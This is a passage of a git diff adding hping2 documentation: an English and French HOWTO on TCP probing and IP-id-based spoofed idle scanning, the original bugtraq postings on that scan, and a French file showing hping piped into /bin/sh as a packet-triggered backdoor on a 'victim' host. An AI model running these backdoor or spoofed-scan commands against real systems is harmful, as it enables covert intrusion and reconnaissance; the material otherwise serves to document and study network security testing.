www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms +40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms +40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms + +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + We can see replies even if port 80 is in LISTEN mode because + a port in LISTEN mode may not replay only to NULL, FIN, Xmas, Ymas + flags TCP packet. ACK and RST are two important TCP flags that + allow to do ACL tests and to guess ip->id without to produce any log + (usually). + +__0004: IP id and how to scan TCP ports using spoofing. + + Every IP packet is identified by a 16 bit id. Thanks to this id + IP stacks are able to handle fragmentation. A lot of OSs handle + ip->id travially: just increment by 1 this id for each packet sent. + Using this id you are able at least to estimate hosts traffic and to + scan with spoofed packets. OpenBSD >= 2.5 and many others implement + a random not repetitive id so you aren't able to joke with ip->id. + Win* ip->id has different byte ordering, so you must specify + --winid or -W option if you are using hping2 against Win*. + + N.B.: You are able to scan spoofed hosts with safe/random ip->id + because in order to spoof your packets you need a third + part host with incremental id rule but you don't need that + target of your scanning has an incremental id. + + How to estimate host traffic using ip->id? It's really simple: + +# hping www.yahoo.com -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms +40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms +40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms + +--- www.yahoo.com hping statistic --- +8 packets tramitted, 8 packets received, 0% packet loss +round-trip min/avg/max = 329.4/377.4/390.0 ms + + As you can se id field increase. Packet with sequence 0 has id=29607, + sequence 1 has id=31549, so www.yahoo.com host sent 31549-29607 = 1942 + packets in circa one second. Using -r|--relid option hping output + id field as difference between last and current received packet id. + +# hping www.yahoo.com -P 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=65179 win=0 rtt=327.1 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+1936 win=0 rtt=360.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+1880 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+1993 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+1871 win=0 rtt=350.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+1932 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+1776 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+1749 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+1888 win=0 rtt=340.0 ms +40 bytes from 204.71.200.68: flags=R seq=9 ttl=53 id=+1907 win=0 rtt=330.0 ms + +--- www.yahoo.com hping statistic --- +10 packets tramitted, 10 packets received, 0% packet loss +round-trip min/avg/max = 320.0/336.7/360.0 ms + + Obviously checking the id every 1/2 second instead of 1 second, increment + will be half. + +# hping www.yahoo.com -P 80 -A -r -i u 500000 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.68): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.68: flags=R seq=0 ttl=53 id=35713 win=0 rtt=327.0 ms +40 bytes from 204.71.200.68: flags=R seq=1 ttl=53 id=+806 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=2 ttl=53 id=+992 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=3 ttl=53 id=+936 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=4 ttl=53 id=+987 win=0 rtt=310.0 ms +40 bytes from 204.71.200.68: flags=R seq=5 ttl=53 id=+952 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=6 ttl=53 id=+918 win=0 rtt=330.0 ms +40 bytes from 204.71.200.68: flags=R seq=7 ttl=53 id=+809 win=0 rtt=320.0 ms +40 bytes from 204.71.200.68: flags=R seq=8 ttl=53 id=+881 win=0 rtt=320.0 ms + +--- www.yahoo.com hping statistic --- +9 packets tramitted, 9 packets received, 0% packet loss +round-trip min/avg/max = 310.0/320.8/330.0 ms + + N.B. Warning, using ip->id you are able only to guess *the number + of packets sent/time*. You can't always compare different hosts. + ip->id refers to all host interfaces and for example if an host + use NAT or redirect TCP connections to another host (for example + a firewall used to hide a web server) ip->id increment may + result fakely increased. + + hpinging windows box without using --winid option you will see as + increments are 256 multiple because different id byteordering. This + can be really usefull for OS fingerprinting: + +#hping win95 -r +HPING win95 (eth0 192.168.4.41): NO FLAGS are set, 40 headers + 0 data bytes +46 bytes from 192.168.4.41: flags=RA seq=0 ttl=128 id=47371 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=1 ttl=128 id=+256 win=0 rtt=0.5 ms +46 bytes from 192.168.4.41: flags=RA seq=2 ttl=128 id=+256 win=0 rtt=0.6 ms +46 bytes from 192.168.4.41: flags=RA seq=3 ttl=128 id=+256 win=0 rtt=0.5 ms + +--- win95 hping statistic --- +4 packets tramitted, 4 packets received, 0% packet loss +round-trip min/avg/max = 0.5/0.5/0.6 ms + + Windows systems are "marked", so in order to discovery if an host is + a Windows host you need to send just some packet. + +How to perform spoofed SYN scan using incremental id? The following +is the original message to bugtraq about spoofed/indirect/idle scan method, +bottom i'll try to explain details and how this is possible even with UDP +with some restriction. + +---- bugtraq posting about spoofed scanning ---- + + Hi, + + I have uncovered a new tcp port scan method. + Instead all others it allows you to scan using spoofed + packets, so scanned hosts can't see your real address. + In order to perform this i use three well known tcp/ip + implementation peculiarities of most OS: + + (1) * hosts reply SYN|ACK to SYN if tcp target port is open, + reply RST|ACK if tcp target port is closed. + + (2) * You can know the number of packets that hosts are sending + using id ip header field. See my previous posting 'about the ip + header' in this ml. + + (3) * hosts reply RST to SYN|ACK, reply nothing to RST. + + + The Players: + + host A - evil host, the attacker. + host B - silent host. + host C - victim host. + + A is your host. + B is a particular host: It must not send any packets while + you are scanning C. There are a lot of 'zero traffic' hosts + in internet, especially in the night :) + C is the victim, it must be vulnerable to SYN scan. + + I've called this scan method 'dumb host scan' in honour of host + B characteristics. + + + How it works: + + Host A monitors number of outgoing packets from B using id iphdr. + You can do this simply using hping: + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + As you can see, id increases are always 1. So this host have the + characteristics that host B should to own. + + Now host A sends SYN to port X of C spoofing from B. + (using hping => 0.67 is very easy, http://www.kyuzz.org/antirez) + if port X of C is open, host C will send SYN|ACK to B (yes, + host C don't know that the real sender is A). In this + case host B replies to SYN|ACK with a RST. + If we send to host C a few of SYN it will reply to B with a few + of SYN|ACK, so B will reply to C a few of RST... so + we'll see that host B is sending packets! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + The port is open! + + Instead, if port X of C is closed sending to C a few + of SYN spoofed from B, it will reply with RST to B, and + B will not reply (see 3). So we'll see that host B is not sending + any packet: + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + The port is closed. + + All this can appear complicated to perform, but using two sessions + of hping on Linux virtual consoles or under X makes it more simple. + First session listen host B: hping B -r + Second session send spoofed SYN: hping C -a B -S + + Sorry if my english is not so clear. + However this posting is not adequate to describe exaustively + this scan method, so i'll write a paper on this topic, specially + about how to implement this in a port scanner (i.e. nmap), and + about players characteristics and OS used. + +happy new year, +antirez + +---- EOF ---- + + As you can see spoofed scanning is travial to perform, especially + unsing hping2 you are able to specify micro seconds interval (-i uX) + so you don't need that B host is a totally idle host. You may read + id increment once every second sending 10 SYN every second. If you + send an adequate SYNnumber/second expected id increment is so big + that you are able to see if port is open or closed even if B host + is sending other packets. Example: + +# hping awake.host.org -p 80 -A -r +ppp0 default routing interface selected (according to /proc) +HPING server.alicom.com (ppp0 111.222.333.44): A set, 40 headers + 0 data bytes +40 bytes from 111.222.333.44: flags=R seq=0 ttl=249 id=47323 win=0 rtt=239.7 ms +40 bytes from 111.222.333.44: flags=R seq=1 ttl=249 id=+6 win=0 rtt=630.0 ms +40 bytes from 111.222.333.44: flags=R seq=2 ttl=249 id=+6 win=0 rtt=280.0 ms +40 bytes from 111.222.333.44: flags=R seq=3 ttl=249 id=+8 win=0 rtt=340.0 ms +40 bytes from 111.222.333.44: flags=R seq=4 ttl=249 id=+5 win=0 rtt=440.0 ms +40 bytes from 111.222.333.44: flags=R seq=5 ttl=249 id=+5 win=0 rtt=410.0 ms +40 bytes from 111.222.333.44: flags=R seq=6 ttl=249 id=+8 win=0 rtt=1509.9 ms +40 bytes from 111.222.333.44: flags=R seq=7 ttl=249 id=+4 win=0 rtt=1460.0 ms +40 bytes from 111.222.333.44: flags=R seq=8 ttl=249 id=+7 win=0 rtt=770.0 ms +40 bytes from 111.222.333.44: flags=R seq=9 ttl=249 id=+5 win=0 rtt=230.0 ms +... + + as you can see this host isn't in idle, it sends ~ 6 packets every second. + Now scan www.yahoo.com's port 80 to see if it's open: + +root.1# hping -a server.alicom.com -S -p 80 -i u10000 www.yahoo.com +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): S set, 40 headers + 0 data bytes + +[wait some second and press CTRL+C] + +--- www.yahoo.com hping statistic --- +130 packets tramitted, 0 packets received, 100% packet loss +round-trip min/avg/max = 0.0/0.0/0.0 ms + + Looking output of 'hping awake.host.org -p 80 -A -r' it's + simple to understand that www.yahoo.com's port 80 is open: + +40 bytes from 111.222.333.44: flags=R seq=59 ttl=249 id=+16 win=0 rtt=380.0 ms +40 bytes from 111.222.333.44: flags=R seq=60 ttl=249 id=+75 win=0 rtt=850.0 ms +40 bytes from 111.222.333.44: flags=R seq=61 ttl=249 id=+12 win=0 rtt=1050.0 ms +40 bytes from 111.222.333.44: flags=R seq=62 ttl=249 id=+1 win=0 rtt=450.0 ms +40 bytes from 111.222.333.44: flags=R seq=63 ttl=249 id=+27 win=0 rtt=230.0 ms +40 bytes from 111.222.333.44: flags=R seq=64 ttl=249 id=+11 win=0 rtt=850.0 ms + + note that 16+75+12+27+11+1-6 = 136 and that we sent 130 packets. So it's + very realistic that increments are produced by our packtes. + + Tips: Using an idle host to perform spoofed scanning it's usefull to + output only replies that show an increment != 1. Try + `hping host -r | grep -v "id=+1"' diff --git a/docs/HPING2-IS-OPEN b/docs/HPING2-IS-OPEN new file mode 100644 index 0000000..454b7f8 --- /dev/null +++ b/docs/HPING2-IS-OPEN @@ -0,0 +1,15 @@ +I want to spend two words about hping2 developing model. +Hping2 is totally open to new contribution and ideas, +if you have even the littlest idea in order to make +hping better or you make some patch send me an email. +All the patches, if they don't break the old code and +are not totally useless, will be included. I know of +a lot of projects that are GPLed but in some way "close" +since every new patch is considered bloat or the only +possible code is the primary authors code: THIS IS +NOT THE CASE! Also every the littlest doc contribution +will be added to hping2, you can just build a plain-text +file that exposes how to do some task with hping, it will +be included under the 'docs' directory. + +antirez diff --git a/docs/MORE-FUN-WITH-IPID b/docs/MORE-FUN-WITH-IPID new file mode 100644 index 0000000..11bc1cd --- /dev/null +++ b/docs/MORE-FUN-WITH-IPID @@ -0,0 +1,29 @@ +Posted to bugtraq mailing list (20 Nov 1999): + +--- +Hi, + +some little new ideas about IP ID issue: + +The first is about linux firewalling: since it increase IP ID global counter +even if an outgoing packet will be filtered we are able, for example, to +scan UDP ports even if ICMP type 3 output is DENY, and in general it is possibleto know when TCP/IP stack reply a packet even if the reply is dropped. +I think (but not tested) that this is true for almost all firewalls. + +The second issue concern the ability to uncover firewall rules. For example +it is travial to know if host A filter packets from the IP X.Y.Z.W monitoring +IP ID incresing of host A or host with X.Y.Z.W address (this changes if we are +interested to know input or output rules) and sending packets that suppose +some reply. Also this is related with the ability to scan the ports of hosts +that drop all packets with a source different than host.trusted.com. +There are others stuff like this but they are only different faces of the +same concepts. + +Some people thinks that this kind of attacks isn't a "real world" attacks, +I'm strongly interested to know what's bugtraq readers opinion (IMO this +kind of attacks are feasible and usefull for an attacker. For exaple the +ability to scan the ports with only spoofed packets and the ability to +guess remote hosts traffic are a lot real). + +ciao, +antirez diff --git a/docs/SPOOFED_SCAN.txt b/docs/SPOOFED_SCAN.txt new file mode 100644 index 0000000..8675385 --- /dev/null +++ b/docs/SPOOFED_SCAN.txt @@ -0,0 +1,119 @@ +The following is the original posting to bugtraq +about spoofed/indirect/idle scan method. See +the HPING2-HOWTO for more informations. + +antirez + +--- + + Hi, + + I have uncovered a new tcp port scan method. + Instead all others it allows you to scan using spoofed + packets, so scanned hosts can't see your real address. + In order to perform this i use three well known tcp/ip + implementation peculiarities of most OS: + + (1) * hosts reply SYN|ACK to SYN if tcp target port is open, + reply RST|ACK if tcp target port is closed. + + (2) * You can know the number of packets that hosts are sending + using id ip header field. See my previous posting 'about the ip + header' in this ml. + + (3) * hosts reply RST to SYN|ACK, reply nothing to RST. + + + The Players: + + host A - evil host, the attacker. + host B - silent host. + host C - victim host. + + A is your host. + B is a particular host: It must not send any packets while + you are scanning C. There are a lot of 'zero traffic' hosts + in internet, especially in the night :) + C is the victim, it must be vulnerable to SYN scan. + + I've called this scan method 'dumb host scan' in honour of host + B characteristics. + + + How it works: + + Host A monitors number of outgoing packets from B using id iphdr. + You can do this simply using hping: + +#hping B -r +HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms +-cut- +.. +. + + As you can see, id increases are always 1. So this host have the + characteristics that host B should to own. + + Now host A sends SYN to port X of C spoofing from B. + (using hping => 0.67 is very easy, http://www.kyuzz.org/antirez) + if port X of C is open, host C will send SYN|ACK to B (yes, + host C don't know that the real sender is A). In this + case host B replies to SYN|ACK with a RST. + If we send to host C a few of SYN it will reply to B with a few + of SYN|ACK, so B will reply to C a few of RST... so + we'll see that host B is sending packets! + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms +-cut- +.. +. + + The port is open! + + Instead, if port X of C is closed sending to C a few + of SYN spoofed from B, it will reply with RST to B, and + B will not reply (see 3). So we'll see that host B is not sending + any packet: + +. +.. +-cut- +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms +60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms +-cut- +.. +. + + The port is closed. + + All this can appear complicated to perform, but using two sessions + of hping on Linux virtual consoles or under X makes it more simple. + First session listen host B: hping B -r + Second session send spoofed SYN: hping C -a B -S + + Sorry if my english is not so clear. + However this posting is not adequate to describe exaustively + this scan method, so i'll write a paper on this topic, specially + about how to implement this in a port scanner (i.e. nmap), and + about players characteristics and OS used. + +happy new year, +antirez diff --git a/docs/french/AS-BACKDOOR b/docs/french/AS-BACKDOOR new file mode 100644 index 0000000..dc3cb5e --- /dev/null +++ b/docs/french/AS-BACKDOOR @@ -0,0 +1,37 @@ +hping peut être utilisé comme une backdoor (ndt : porte dérobée). Essayez +juste l'option -9 (--listen) et redirigez via un tube dans /bin/sh : + +Mettez hping en mode listen (ndt : d'écoute) sur le système victime. + +victim# hping -I eth0 -9 mysign | /bin/sh + +Chaque paquet qui contient "mysign" sera traité par hping, tous les octets +qui suivent "mysign" dans les paquets seront envoyés dans la sortie +standard, ainsi par exemple je serai capable d'exécuter des commandes en +utilisant tous types de protocoles. Juste pour exemple je peux utiliser le +démon smtpd pour exécuter 'ls' sur la victime. + +evil$ telnet victim 25 + +Trying 192.168.1.1... +Connected to nano (192.168.1.1). +Escape character is '^]'. +220 nano.marmoc.net ESMTP Sendmail +mysignls; + +sur la victime vous verrez : + +victim# hping -I eth0 -9 mysign | /bin/sh +hping2 listen mode +bin cdrom etc home local-home mnt root tmp var +boot dev export lib lost+found proc sbin usr +: command not found + +Comme vous pouvez le voir j'utilise 'ls;' puisque sinon le shell recevra +juste ls^M. Le ";" force l'exécution de la commande (du moins avec bash et +zsh, vérifiez votre shell pour plus d'informations). + +Ceci fonctionne avec tous les types de paquets IP valides non filtrés, le +niveau supérieur de protocole importe peu. + +antirez diff --git a/docs/french/HPING2-HOWTO.txt b/docs/french/HPING2-HOWTO.txt new file mode 100644 index 0000000..f72fb33 --- /dev/null +++ b/docs/french/HPING2-HOWTO.txt @@ -0,0 +1,475 @@ +N.B. : ce HOWTO n'est pas terminé, et par endroits très bête. Je laisse cela + ici seulement parce que peut être que c'est mieux que rien. + +HPING2 HOWTO + +Changes Log +----------- +Aug 7 1999 vi HPING2-HOWTO.txt +Aug 8 1999 __0000, __0001, __0002, __0003 +Aug 10 1999 __0004 + +Index +----- +[cherchez __XXXX afin de sauter au point que vous souhaitez] + + __0000: Avis de copyright + __0001: Qu'est ce que hping ? + __0002: Qu'est ce que j'ai besoin de connaître de TCP/IP pour + utiliser hping ? + __0003: Premiers pas avec hping + __0004: Le champ IP id et comment scanner des ports TCP en utilisant + de l'usurpation d'adresse. + __0005: Comment tester des règles de filtrage. (A faire) + __0006: Comment transférer des fichier au travers de firewalls. (A + faire) + + __000A: Exemple d'utilisation de hping (A faire) + +__0000: Avis de copyright, Licence, et tout ce genre de choses + + Copyright (C) Salvatore Sanfilippo, 1999. + + La permission est accordée de faire et distribuer des copies de ce manuel + à condition que l'avis de copyright et cet avis de permission soient + préservés sur toutes les copies. + + Permission est accordée de copier et distribuer des versions modifiées de + ce manuel sous les conditions de copie verbatim, à condition que le + travail dérivé soit distribué sous les termes d'un avis de permission + identique à celui-ci. Les traductions tombent dans la catégorie des + ''versions modifiées.'' + + Garantie : Aucune. + + Recommandations : les redistributions commerciales sont autorisées et + encouragées; cependant, il est fortement recommandé que le redistributeur + contacte l'auteur avant redistribution, dans l'intérêt de garder les + choses à jour (vous pouvez m'envoyer une copie de ce que vous faites + pendant que vous y êtes). Les traducteurs sont également encouragés à + contacter l'auteur avant traduction. Le version imprimée aura plus + d'allure. + Recyclez. + +__0001 : Qu'est ce que hping ? + + Hping est un logiciel pour tester des piles TCP/IP, pour découvrir des + politiques de firewalls, pour scanner les ports TCP de nombreuses manières + différentes, pour transférer les fichiers au travers de firewalls et + beaucoup d'autres choses. En utilisant hping vous pouvez même faire + beaucoup de choses qui ne concernent pas la sécurité. Par exemples vous + pouvez tester les performances réseau, vérifier si un système tourne, + vérifier si le champ TOS est géré, etc. + +__0002 : Qu'est ce que j'ai besoin de connaître de TCP/IP pour utiliser + hping ? + + Si vous connaissez TCP/IP vous trouverez hping très utile, sinon vous + pouvez utiliser hping seulement pour faire des tests connus. Voir __000A + pour quelques exemples. + +__0003 : Premiers pas avec hping + + La plus simple utilisation de hping est la suivante : + + #hping host + + Cette commande envoie un paquet TCP sans drapeau au port 0 du système + cible chaque seconde et montre les réponses du système. Par exemple : + +# hping www.debian.org +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms +40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms +40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms +[Ctrl+C] +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + Comme vous pouvez le voir le système répond avec un paquet TCP avec les + drapeaux RST et ACK positionnés. Ainsi vous êtes capable d'effectuer un + 'ping TCP', utile quand ICMP est filtré. Par défaut le port 0 est utilisé + parce qu'il serait étrange qu'il soit à l'état LISTEN (ndt : en écoute). + Si nous envoyons un paquet TCP sans drapeau à un port à l'état LISTEN, de + nombreuses piles TCP/IP ne renverront pas de réponse. Ainsi nous sommes + capables de savoir si un port est dans l'état LISTEN. Par exemple : + +# hping www.debian.org -p 80 +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes +[Ctrl+C] +--- www.debian.org hping statistic --- +5 packets trasmitted, 0 packets received, 100% packet loss + + Puisque le port 80 de www.debian.org est en mode LISTEN nous n'obtenons + aucune réponse. + + Mais qu'arrive-t-il si nous essayons de 'hpinger' un port bloqué par un + firewall ? Cela dépend de la politique / configuration du firewall. + Habituellement nous obtenons un paquet ICMP ou rien. Par exemple : + +# hping www.yahoo.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 0 data bytes +ICMP Packet filtered from 206.132.254.41 (pos1-0-2488M.hr8.SNV.globalcenter.net) + +--- www.yahoo.com hping statistic --- +14 packets tramitted, 0 packets received, 100% packet loss + + Le firewall de yahoo ne permet pas de connexion sur le port 79, donc il + répond avec un paquet ICMP Packet filtered (ICMP unreachable code 13). + Cependant il y a beaucoup de firewalls qui ignorent simplement le paquet. + Par exemple : + +# hping www.microsoft.com -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.150): NO FLAGS are set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +4 packets tramitted, 0 packets received, 100% packet loss + + Aucune réponse de microsoft. Est-ce que le port est bloqué ou en mode + LISTEN ? Découvrir cela est très simple. Nous essayons juste de mettre le + drapeau ACK au lieu d'envoyer un paquet TCP sans drapeau. Si le système + répond, peut-être que ce port est en mode LISTEN (mais il est possible + qu'il y ait une règle qui refuse les paquets TCP sans drapeau mais + autorise les paquets ACK). + +# hping www.microsoft.com -A -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): A set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + Toujours pas de réponse, ainsi ce port semble être filtré. Quoi qu'il en + soit, il est possible que microsoft utilise un firewall 'intelligent' qui + sait que pour me connecter je dois d'abord envoyer un paquet SYN. + +# hping www.microsoft.com -S -p 79 +ppp0 default routing interface selected (according to /proc) +HPING www.microsoft.com (ppp0 207.46.130.149): S set, 40 headers + 0 data bytes + +--- www.microsoft.com hping statistic --- +3 packets tramitted, 0 packets received, 100% packet loss + + Ok.. il semble que le port 79 de microsoft est réellement filtré. + Pour clarification nous envoyons quelques paquets ACK au port 80 de + www.debian.org : + +# hping www.debian.org -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.debian.org (ppp0 209.81.8.242): A set, 40 headers + 0 data bytes +40 bytes from 209.81.8.242: flags=R seq=0 ttl=243 id=5590 win=0 time=379.5 ms +40 bytes from 209.81.8.242: flags=R seq=1 ttl=243 id=5638 win=0 time=370.0 ms +40 bytes from 209.81.8.242: flags=R seq=2 ttl=243 id=5667 win=0 time=360.0 ms + +--- www.debian.org hping statistic --- +3 packets tramitted, 3 packets received, 0% packet loss + + Nous pouvons voir les réponses même si le port 80 est en mode LISTEN parce + qu'un port en mode LISTEN ne devrait pas répondre à des paquets TCP avec + seulement un drapeau NULL, FIN, Xmas, ou Ymas. ACK et RST sont deux + drapeaux TCP importants qui permettent de tester des ACL (ndt : listes de + contrôle d'accès) et de deviner le champ ip->id en ne laissant pas de + trace dans les journaux (généralement). + +__0004 : Le champ IP id et comment scanner des ports TCP en utilisant de + l'usurpation d'adresse. + + Chaque paquet IP est identifié par un champ id de 16 bits. Grâce à ce + champ id les piles IP sont capables de gérer la fragmentation. De nombreux + OS traitent ip->id trivialement : incrémenter ce champ de 1 champ pour + chaque paquet envoyé. En utilisant ce champ id vous êtes au minimum + capable d'estimer le trafic et de scanner en usurpant l'adresse source. + OpenBSD >= 2.5 et beaucoup d'autres mettent en oeuvre un champ id + aléatoire non répétitif ainsi vous ne pouvez pas jouer avec le champ + ip->id. Le champ ip->id des systèmes Windows n'est pas positionné dans le + même ordre (ndt : dans le bon ordre), donc vous devez spécifier l'option + --winid ou -W si vous utilisez hping2 contre un système Windows. + + N.B. : Vous êtes capable de scanner un système avec un champ ip->id + sûre/aléatoire parce que pour spoofer vos paquets vous avez besoin + d'un système tiers avec un champ id incrémental, mais vous n'avez + pas besoin que la cible de votre scan ait un champ id incrémental. + + Comment estimer le trafic d'un système en utilisant le champ ip->id ? + C'est vraiment très simple : + +# hping www.yahoo.com -p 80 -A +ppp0 default routing interface selected (according to /proc) +HPING www.yahoo.com (ppp0 204.71.200.74): A set, 40 headers + 0 data bytes +40 bytes from 204.71.200.74: flags=R seq=0 ttl=53 id=29607 win=0 rtt=329.4 ms +40 bytes from 204.71.200.74: flags=R seq=1 ttl=53 id=31549 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=2 ttl=53 id=33432 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=3 ttl=53 id=35368 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=4 ttl=53 id=37335 win=0 rtt=390.0 ms +40 bytes from 204.71.200.74: flags=R seq=5 ttl=53 id=39157 win=0 rtt=380.0 ms +40 bytes from 204.71.200.74: flags=R seq=6 ttl=53 id=41118 win=0 rtt=370.0 ms +40 bytes from 204.71.200.74: flags=R seq=7 ttl=53 id=43330 win=0 rtt=390.0 ms + +--- www.yahoo.com hping statistic --- +8 packets tramitted, 8 packets received, 0% packet loss +round-trip min/avg/max = 329.4/377.4/390.0 ms + + 